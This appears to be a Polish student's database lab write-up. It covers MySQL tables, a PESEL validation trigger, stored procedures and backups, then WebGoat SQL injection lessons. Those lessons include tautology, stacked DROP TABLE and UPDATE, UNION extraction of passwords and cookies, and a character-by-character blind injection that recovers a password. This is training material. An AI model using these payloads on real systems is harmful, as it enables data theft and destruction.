Lab 3: queries

Task 1:

- Creating and opening the database

> PESEL nie powinien być kluczem tabeli, ponieważ nr PESEL może się zmienić w przypadku zmiany płci albo gdy urzędnik popełnił błąd przy nadawaniu nr PESEL. Dodatkowo PESEL może się powtórzyć (mało prawdopodobne, ale są takie przypadki)

```
CREATE DATABASE `lab3`;
```

```
USE lab3;
```

- Creating tables in the database

```
CREATE TABLE IF NOT EXISTS Ludzie (
    ludzie_id INT AUTO_INCREMENT,
    PESEL CHAR(11),
    imie VARCHAR(30),
    nazwisko VARCHAR(30),
    data_urodzenia DATE,
    plec ENUM('K', 'M'),
    PRIMARY KEY(ludzie_id)
);
```

```
DELIMITER $$
CREATE FUNCTION getControlDigit(pesel CHAR(11))
RETURNS INT DETERMINISTIC
BEGIN
    DECLARE sum INT DEFAULT 0;

    SET sum = sum + (1 * CAST(SUBSTRING(pesel, 1, 1) AS INT));
    SET sum = sum + (3 * CAST(SUBSTRING(pesel, 2, 1) AS INT));
    SET sum = sum + (7 * CAST(SUBSTRING(pesel, 3, 1) AS INT));
    SET sum = sum + (9 * CAST(SUBSTRING(pesel, 4, 1) AS INT));
    SET sum = sum + (1 * CAST(SUBSTRING(pesel, 5, 1) AS INT));
    SET sum = sum + (3 * CAST(SUBSTRING(pesel, 6, 1) AS INT));
    SET sum = sum + (7 * CAST(SUBSTRING(pesel, 7, 1) AS INT));
    SET sum = sum + (9 * CAST(SUBSTRING(pesel, 8, 1) AS INT));
    SET sum = sum + (1 * CAST(SUBSTRING(pesel, 9, 1) AS INT));
```

```
    SET sum = sum + (3 * CAST(SUBSTRING(pesel, 10, 1) AS INT));

    SET sum = sum % 10;
    IF sum <> 0 THEN
        SET sum = 10 - sum;
    END IF;

    RETURN sum;
END$$
DELIMITER ;
```

```
DELIMITER $$
CREATE TRIGGER peselValidation
    BEFORE INSERT
    ON Ludzie
    FOR EACH ROW

    BEGIN
        IF CHAR_LENGTH(NEW.PESEL) <> 11 THEN
            SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid length of PESEL';
        END IF;

        IF (NEW.PESEL NOT REGEXP '^[0-9]+$') THEN
            SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid format of PESEL -
must be numeric';
        END IF;

        IF (LEFT(RIGHT(NEW.PESEL, 2), 1) % 2 = 0 AND NEW.plec = 'M')
        OR (LEFT(RIGHT(NEW.PESEL, 2), 1) % 2 <> 0 AND NEW.plec = 'K') THEN
            SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid sex indication in
PESEL';
        END IF;

        IF (LEFT(NEW.PESEL, 2) <> RIGHT(YEAR(NEW.data_urodzenia), 2)) THEN
            SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid year indication in
PESEL';
        END IF;

        IF (YEAR(NEW.data_urodzenia) > 1999) THEN
            IF (RIGHT(LEFT(NEW.PESEL, 4), 2) <> (MONTH(NEW.data_urodzenia) + 20))
THEN
                SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid month
indication in PESEL';
            END IF;
        ELSEIF (YEAR(NEW.data_urodzenia) < 1900) THEN
            IF (RIGHT(LEFT(NEW.PESEL, 4), 2) <> (MONTH(NEW.data_urodzenia) + 80))
THEN
                SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid month
indication in PESEL';
            END IF;
        ELSE
```

```
            IF (RIGHT(LEFT(NEW.PESEL, 4), 2) <> (MONTH(NEW.data_urodzenia))) THEN
                SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid month
indication in PESEL';
            END IF;
        END IF;

        IF (RIGHT(LEFT(NEW.PESEL, 6), 2) <> DAY(NEW.data_urodzenia)) THEN
            SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid day indication in
PESEL';
        END IF;

        IF (RIGHT(NEW.PESEL, 1) <> getControlDigit(NEW.PESEL)) THEN
            SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid control digit in
PESEL';
        END IF;
    END$$
DELIMITER ;
```

```
CREATE TABLE IF NOT EXISTS Zawody (
    zawod_id INT AUTO_INCREMENT,
    nazwa VARCHAR(50),
    pensja_min FLOAT CHECK(pensja_min >= 0 AND pensja_min < pensja_max),
    pensja_max FLOAT CHECK(pensja_max >= 0),
    PRIMARY KEY(zawod_id)
);
```

```
CREATE TABLE IF NOT EXISTS Pracownicy (
    ludzie_id INT CHECK (ludzie_id >= 0),
    zawod_id INT CHECK(zawod_id >= 0),
    pensja FLOAT CHECK(pensja >= 0),
    PRIMARY KEY(ludzie_id, zawod_id)
);
```

```
INSERT INTO Zawody(nazwa, pensja_min, pensja_max)
VALUES
    ('polityk', 8000, 30000),
    ('nauczyciel', 2000, 5000),
    ('lekarz', 6000, 50000),
    ('informatyk', 4500, 40000);
```

```
DELIMITER $$
CREATE PROCEDURE assignJobs ()
BEGIN
    DECLARE done INT DEFAULT FALSE;
    DECLARE l_id, wiek, z_id, lekarz_id INT DEFAULT 0;
    DECLARE p, p_min, p_max FLOAT DEFAULT 0;
    DECLARE plec ENUM('K', 'M');

    DECLARE jobsCursor CURSOR FOR
        (SELECT ludzie_id, (DATE_FORMAT(FROM_DAYS(DATEDIFF(NOW(),
data_urodzenia)), '%Y') + 0) AS wiek, plec FROM Ludzie);
    DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE;

    OPEN jobsCursor;
        SET lekarz_id = (SELECT zawod_id FROM Zawody WHERE nazwa = 'lekarz' LIMIT
1);

        read_loop: LOOP
            FETCH jobsCursor INTO l_id, wiek, plec;
            IF done THEN
                LEAVE read_loop;
            END IF;

            IF wiek >= 18 THEN
                SET z_id = (SELECT zawod_id FROM Zawody ORDER BY RAND() LIMIT 1);
                WHILE z_id = lekarz_id AND ((plec = 'M' AND wiek > 65) OR (plec =
'K' AND wiek > 60)) DO
                    SET z_id = (SELECT zawod_id FROM Zawody ORDER BY RAND() LIMIT
1);
                END WHILE;

                SELECT pensja_min, pensja_max INTO p_min, p_max FROM Zawody WHERE
zawod_id = z_id;
                SET p = (SELECT p_min + RAND() * (p_max - p_min) * 0.8 AS p_rand);
                INSERT INTO Pracownicy(ludzie_id, zawod_id, pensja) VALUES(l_id,
z_id, p) ON DUPLICATE KEY UPDATE pensja = p;
            END IF;
        END LOOP;
    CLOSE jobsCursor;
END$$
DELIMITER ;
```

Task 3:

```
DELIMITER $$
CREATE PROCEDURE grantRaises (nazwa_zawodu VARCHAR(50))
```

```
BEGIN
    DECLARE done, of INT DEFAULT FALSE;
    DECLARE z_id, l_id INT DEFAULT 0;
    DECLARE p, max_p FLOAT DEFAULT 0;

    DECLARE checkSalaryOverflow CURSOR FOR
        (SELECT pensja FROM Pracownicy WHERE zawod_id = z_id);
    DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE;

    SET z_id = (SELECT zawod_id FROM Zawody WHERE nazwa = nazwa_zawodu);
    SET max_p = (SELECT pensja_max FROM Zawody WHERE nazwa = nazwa_zawodu);

    OPEN checkSalaryOverflow;
        read_loop: LOOP
            FETCH checkSalaryOverflow INTO p;
            IF done THEN
                LEAVE read_loop;
            END IF;

            IF p * 1.05 > max_p THEN
                SET of = TRUE;
                LEAVE read_loop;
            END IF;
        END LOOP;
    CLOSE checkSalaryOverflow;

    IF NOT of THEN
        UPDATE Pracownicy SET pensja = pensja * 1.05 WHERE zawod_id = z_id;
    END IF;
END$$
DELIMITER ;
```

```
CALL grantRaises('nauczyciel');
```

Task 4:

```
PREPARE getWomenInProffesion FROM
    "SELECT COUNT(l.ludzie_id) AS n_kobiet
        FROM Zawody AS z
        JOIN Pracownicy AS p ON z.zawod_id = p.zawod_id
        JOIN Ludzie AS l ON p.ludzie_id = l.ludzie_id
        WHERE z.nazwa=? AND l.plec='K'";
```

```
EXECUTE getWomenInProffesion USING 'lekarz';
```

Task 5:

> **Full backup:** kopiuje wszystkie dane z bazy danych. Może być logiczny lub fizyczny. Pełną kopię zapasową można przywrócić na innym serwerze.
>
> > **Logical backup:** generuje strukturę bazy danych w pliku .sql, generując instrukcje CREATE lub INSERT. Później plik ten można przywrócić za pomocą narzędzia mysqldump. Ten typ tworzy kopie zapasowe tylko danych bez indeksów, dlatego ma mały rozmiar. Jednak jego opcja odzyskiwania jest wolniejsza w porównaniu z jego alternatywami, ponieważ wszystkie instrukcje powinny być wykonywane jedna po drugiej.
>
> > **Physical backup:** kopiuje pliki bazy danych w takim samym formacie, w jakim są zapisane na dysku. Jest szybszy niż typ logiczny, ale można go przywrócić tylko na serwerze MySQL z tego samego silnika bazy danych.

> **Differential backup:** kopiuje wszystkie zmiany wprowadzone od ostatniej pełnej kopii zapasowej. Różnicową kopię zapasową można przywrócić dopiero po przywróceniu pełnej kopii zapasowej.

- Eksportowanie bazy (tworzenie backupu):

```
sudo mysqldump -u root -p lab3 > lab3-dump.sql
```

- Importowanie bazy:

```
DROP DATABASE IF EXISTS lab3;
CREATE DATABASE IF NOT EXISTS lab3;
```

```
sudo mariadb -u root -p lab3 < lab3-dump.sql
```

Task 6:

```
java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-server-8.2.2.jar
```

W przeglądarce otworzyć: `127.0.0.1:8080/WebGoat`

- Introduction:
  - Task 2:

```
SELECT department FROM Employees WHERE first_name = 'Bob' AND last_name= 'Franco';
```

  - Task 3:

```
UPDATE Employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett';
```

  - Task 4:

```
ALTER TABLE employees ADD phone VARCHAR(20);
```

  - Task 5:

```
GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;
```

  - Task 9:

```
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1';
```

  - Task 10:

```
SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1 = 1;
```

  - Task 11:

```
SELECT * FROM employees WHERE last_name = 'Smith' AND auth_tan = '3SL99A' or '1' = '1';
```

- Task 12:

```
Employee name: Smith
Authentication TAN: 3SL99A'; UPDATE employees SET salary=90000 WHERE
first_name='John' AND last_name='Smith' AND auth_tan='3SL99A
```

- Task 13:

```
SELECT * FROM employees WHERE last_name = "Smith" AND auth_tan = "3SL99A';
DROP TABLE access_log;--
```

- Advanced:
  - Task 3:

```
Name option 1: '; SELECT * FROM user_system_data;--
Name option 2: ' UNION SELECT 1, user_name, password, cookie, 'a', 'a', 1
FROM user_system_data;--
```

  - Task 5:

W sekcji `Login`:

```
Username: Tom
Password: test
```

Wynikiem jest `No results matched, try again.`, co znaczy, że strona login nie jest podatna na blind injection.

W sekcji `Register`

```
Username: tom
Email: test@test.com
Password a
Confirm password: a
```

Wynikiem jest `User tom already exists please try to register with a different username.` - strona jest podatna na blind injection.

```
Username: tom' AND '1'='1
Email: test@test.com
Password a
Confirm password: a
```

Wynikiem jest `User {0} already exists please try to register with a different username.` - można sprawdzać hasło litera po literze.

```
Username: tom' AND SUBSTRING(password, 1, 1) = 'a
Email: test@test.com
Password a
Confirm password: a
```

Wynikiem jest `User tom' AND SUBSTRING(password, 1, 1) = 'a created, please proceed to the login page.` - pierwszą literą hasła nie jest a.

```
Username: tom' AND SUBSTRING(password, 1, 1) = 't
Email: test@test.com
Password a
Confirm password: a
```

Wynikiem jest `User {0} already exists please try to register with a different username.` - t jest pierwszą literą hasła.

Taką metodą (sprawdzając to manualnie lub za pomocą skryptów) możemy sprawdzić, że hasłem użytkownika `tom` jest `thisisasecretfortomonly`

- Task 6:

```
1. Solution 4: A statement has got values instead of a prepared statement

2. Solution 3: ?
```

```
3. Solution 2: Prepared statements are compiled once by the database
management system waiting for input and are pre-compiled this way.

4. Solution 3: Placeholders can prevent that the users input gets attached
to the SQL query resulting in a seperation of code and data.

5. Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.
```